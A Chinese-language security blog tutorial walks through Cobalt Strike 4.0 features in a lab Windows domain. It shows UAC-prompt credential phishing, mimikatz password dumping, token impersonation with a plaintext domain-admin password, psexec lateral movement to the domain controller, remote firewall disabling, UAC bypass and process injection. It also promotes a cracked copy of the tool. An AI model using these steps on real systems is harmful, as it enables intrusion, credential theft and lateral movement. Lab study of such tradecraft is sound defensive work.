Cobalt Strike 4.0 Updates You Should Know

Gcow安全團隊發表於2020-03-21

你應該知道的Cobalt Strike 4.0的更新!

本文由Gcow安全團隊絕影小組小離師傅原創,屬於教程類文章
全文字數2348字 圖片63張 預計10分鐘閱讀完畢
文中有一個小推薦 請各位看官不要在意

我相信大家都被一條資訊給炸了鍋“cobaltstrike4.0破解版出來了”,這對於我們這些窮逼來說是一件好事,今天我就帶大家看看cs4.0更新了啥

 

在這裡先宣告,cobaltstrike的本意是用於教育目的,並非提供給非法滲透

一.準備

試驗環境:

Kali ipv4:192.168.1.119
     ipv6:出於隱私考慮,沒寫

靶場win2008 ipv4:192.168.1.162
                 10.10.10.80
           ipv6:處於隱私考慮,沒寫

靶場DC Win2012 ipv4:10.10.10.10

本文只是演示cs4.0的新特性,並非真正滲透

二.更新的內容

首先,先看看有什麼主要更新

1.Stageless:

圖1 Stageless payload improved

 

可以看到,更新日誌提到Web Delivery攻擊方式,在使用64位的payload的時候,使用的是stageless攻擊方式,而regsvr32攻擊方式同時被去掉了,因為不能注入完整的payload,同時,作者在影片中提到,在cs4.0中將會大大使用stageless,很少會使用stager.

2.移除媒介自動播放攻擊

圖2 Removed Windows-Dropper attack

3.新增jump橫向移動命令

其實就是把以前psexecwmi等的整合到一個模組裡,並且,當使用psexec_psh進行橫向的時候會使用stager,其他方式均為stageless

 

圖3 Added Jump command

4.No Powershell 偏好

圖4 More inject was no powershell

5.提權新成員:SVC-exe和runasadmin

svc-exe其實就是在本地執行psexec(作者吐槽)

 

圖5 Svc-exe added in elevate kit

 

圖6 Runasadmin also is elevate tool

6.同時移除了ms14-058 exp 和uac-dll提權方式

圖7:Remove ms14-058

 

圖8:Remove uac-dll

7.重大更新:Listener

http/https/dns均支援一個payload填寫多個ip或者域名,相當於把多個相同payloadlistener整合到一起,並且支援填入C2引數以及代理引數

a.https/http listener:
 

圖9:Https Beacon info

細心的同學可能發現,下面新的選項是用來幹啥的,因為在cs4.0中,對C2攻擊方式進行了最佳化,你可以在profile選擇你在外部匯入進去的c2 profile,然後修改HTTPS Port(bind)的埠為你C2 伺服器的埠(我也不是很懂,如果有誤的話,大佬們請指正,以免誤人子弟)
b.Dns listener:
 

圖10 Dns Beacon info

c.External C2 Listener:
 

圖11 External C2 listener

三.看完了cs4.0的新特性,接下來開始實踐一下吧

首先,先新建一個listener,在這裡,你可以填寫你cs伺服器的公網IPv4內網IPv4IPv6(IPv6要用中括號,例[240c::6666])以及你CS伺服器的域名,我在這裡填入了我kaliipv4ipv6

 

圖12 Create a listener by using Beacon https payload

這裡的HTTPS Port (C2)就是上線埠

1.生成木馬並執行

我這邊直接生成了一個stageless的木馬(不熟悉的話可以去看啊離上一篇文章)

 

生成的木馬丟上去靶機執行然後等一小會(順帶一提:不知道是不是出於某種原因,cs直接生成的馬,免殺並沒有效果)

2.上線

因為我靶機有ipv6,所以beaconip也會顯示ipv6,同時,因為也有ipv4,所以也會顯示ipv4(意思為使用不同的協議的ip進行同時互動)

 

圖13 Beacon in ipv6

 

圖14 Beacon in ipv4

3.介面變化

同時CS4.0改了介面,可以顯示當前的beacon程式,PID,系統位數

 

圖15 Cobalt Strike 4.0 table view

4.提權變化

正如我上面提到,CS4.0版本已經移除了uac-dllms14-058提權方式,同時bypassuac命令被移除

 

圖16 Elevate module

 

為了做實驗,我生成了一個名為Priv Esclistenerpayload:tcp beacon)(建議勾選Bind to localhost only

 

為什麼要勾選呢?作者的話:(反正就是勾選就對了)

 

 

圖18 Create a listener for privilege escalation

a.UAC-token-duplication(UAC口令複製提權)

會在主機彈出一個UAC框去欺騙管理員輸入密碼,可能是因為域的原因,即使輸入了也會提權失敗,但是沒關係,因為已經密碼記錄在記憶體中了,我們只需要本地提權並使用mimikatz讀取密碼

 

【按照實際情況來說,其實輸入本地管理員口令的更多,這裡我為了演示,在UAC彈窗中輸入了域管理員口令】

 

UAC框框

 

圖19 UAC

 

failed,but the password was logged in memory

 

圖20 Failed when users was domain user

b.svc-exe

svc-exe這個引數,並不是和exp提權那樣,幫你從普通使用者 ”pwn!!“ 一下子拿下系統,而是當管理員許可權滿足不了你的時候,可以用svc-exe進行提升(類似getsystem命令,但是getsystem不太好使)

 

使用例如下情況:

 

圖21 A administrator privilege Beacon

 

svc-exe priv esc:

 

圖22 Use Svc-exe to privilege escalation

 

圖23 Connected to system privilege beacon

c.EXP 本地提權

因為現在是域使用者,又又又又只能用exp本地提權了,因為作者已經在cs4.0中刪除了exp,但是你可以透過GitHubclone作者的【Elevate Kit】專案,然後在cs載入模組

 

cs作者的專案:https://github.com/rsmudge/ElevateKit

 

圖24 Imported elevate kit for privilege escalation

d.runasadmin 提權模組(後面會用到)

圖25 Runasadmin module

5.Recon 部分更新

a.Net模組新增倆引數

(a).net domain

圖26 net domain command

(b).net domain_controllers

圖27 net domain_controllers command

 

可以看到,計算機名為DC的就是域控,接下來可以鞭撻它了

b.橫向移動改進

exp提權,然後抓密碼(此處密碼為剛剛UAC釣到的域管理員明文密碼)

 

圖28 Logonpassword after privilege escalation

(a).SMB Beacon改進

生成一個用於橫向移動的listener,取名為LM,並使用SMB Beacon payload,可以看到,SMB Beacon支援自定義pipe name了

 

圖29 SMB Beacon now support custom pipename

 

有點小夥伴要問了,為什麼在舊版的cs中沒有這個呢?其實,舊版cs中的pipe name是[status_埠號]

 

圖30 Create a listener for Lateral Movement

如圖,舊版cs的pipe name則為status_6001

(b).jump命令

jump命令本質上就是把原來零散的psexec,psexec64,psexec_psh,winrm,winrm64整合到一個套件裡(wmi已經移除)

 

How to use

 

圖31 Help of jump command

 

Lateral Movement kits in jump command

 

圖32 Lateral Movement tookit in jump command

 

老樣子,呼叫剛剛抓到的域憑據

 

make_token de1ay.com\Administrator 1qaz@WSX

 

圖33 Use make_token command to impersonal credential

 

使用jump命令進行橫向

 

jump psexec DC LM

 

圖34 Use jump command lateral movement to DC

 

DC Beacon Online

 

圖35 Connected to DC through smb beacon

(c).remote-exec 命令

可以選擇以下三個套件進行遠端命令執行

 

圖36 Remote-exec module

 

remote-exec wmi DC netsh advfirewall set allprofiles state off (當然,和上面一樣,也要先呼叫憑據)

 

圖37 Use remote-exec to disable firewall on DC

(d).Invoke-Command(個人補充)

補充:在CS中,可以使用powershell-import匯入ps1指令碼,然後使用powerpick去執行指令碼的模組

 

圖38 You can use powershell-import command to import module

 

其實可以使用系統自帶的Invoke-Command模組進行遠端命令執行(當然,也需要呼叫憑據

 

powerpick Invoke-Command -ComputerName DC -ScriptBlock { netsh advfirewall set allprofiles state off }

 

圖39 Use Invoke-Command module to remote disable firewall on DC

c.One-liner

oneliner其實就是生成一段在目標beacon本地執行的payload,你可以用它在目標beacon中進行花樣玩耍,配合的方式有很多種,如:runas,runu,runasadmin,psinject

(a).oneliner配合runasadmin進行提權

cs中,只有當前使用者名稱為administrator的管理員使用者,cs才會自動提權,當使用者名稱為別的管理員,cs並不會自動提權,例如以下情況:

 

圖40 Show current user groups

 

可以看到,xiaoli這個使用者是本地管理員,可是cs沒有幫我們提權

 

抓密碼提示許可權不足

 

圖41 Privilege less when logonpasswords

 

so,we can do like this

①.生成oneliner,右擊beacon-Access-oneliner
 

在這裡的話,是看beacon的arch生成oneliner,我當前的beacon是64位,所以x86和x64的payload都可以,x86 beacon只能執行x86的payload

 

(我當前的beacon是x86的)

 

圖42 Generate powershell oneliner

 

 

runasadmin uac-wscript + oneliner

 

圖44 Use runasadmin to privilege escalation

 

執行完它並不會自動連線,需要去手動連線

 

connect 127.0.0.1

 

圖45 Connect to beacon

 

 

重新logonpassword

 

圖47 Re logonpasswords

(b).One-liner 配合runas生成一個指定使用者的許可權

在這裡的話,也是看beacon的arch生成oneliner,同上

 

runas DE1AY\Administrator 1qaz@WSX + oneliner 注:runas在system許可權的beacon執行會失敗

 

圖48 Runas with oneliner

 

connect 127.0.0.1

 

圖49 Connect to beacon

 

(c).One-liner 配合runu在指定程式執行命令

在這裡的話,是看目標程式的arch生成oneliner,我的目標程式是64位,所以生成x64和x86的payload都可以,x86程式則只能生成x86 payload

 

runu 460 + oneliner 這邊選擇了一個pid為460的程式

 

圖51 Runu command with oneliner

 

connect 127.0.0.1

 

圖52 Connect to beacon

 

 

同時看到該beacon的父程式就是我們剛剛所指定的

 

圖54 Created a child session base on PPID 460

(d).Psinject使用one-liner payload注入程式

在psinject這裡,x64程式可以注入x86/x64的payload,x86程式只能注入x86

 

圖55 Choose a process for target

 

psinject 2784 x64 + oneliner

 

圖56 Inject powershell payload with psinject

 

connect 127.0.0.1

 

圖57 Connect to beacon

 

connected

 

 

當然,還有更多的姿勢等你來解鎖~

d.Link / Connect and unlink

link支援指定pipe nameconnect支援指定埠unlink支援指定pid號,其目的是為了可以更好管理多個smb beacon listenertcp beacon listener

 

link ip pipe_name(圖中因為沒有111這個pipe name,連不上就報錯了)

 

圖60 Link to a beacon through assign pipename

 

connect ip port

 

圖61 Connect to tcp beacon through assign port

 

unlink ip pid

 

圖62 Unlink beacon through assign process

四.總結

作為一名有職業道德的伸手黨,要時刻記得吃水不忘挖井人的道理,所以在這裡要非常感謝WBGlIl大大

圖片描述
(對,沒錯,認準這隻熊)提供的破解版,以及Yansu大大提供的二次元版

 

圖63 cs二次元版作者大大

 

問答環節:

Q&A

問:為什麼x64的beacon和session可以同時相容x86和x64的payload?

答:CS特性,作者超級偏愛x86,link:https://blog.cobaltstrike.com/2016/03/10/cobalt-strike-3-2-the-inevitable-x64-beacon/


問:為什麼作者強推Stageless?

答:因為stager不安全,更脆弱,容易被檢測

文末驚喜!

 

兩天過去了,我知道,大家都在等CS完美破解版
CS4.0去暗樁,windows teamserver支援,vnc修復,x64
payload修復,漢化支援 終極版本今天釋出!!Gcow安全團隊核心成
員 J0o1ey’參考先知某牛和國外某牛的修復方法,目前已無x64
payload和暗樁問題

小聲BB:關注Gcow安全團隊公眾號後臺回覆cobaltstrike即可獲取下載連結

圖片描述

相關文章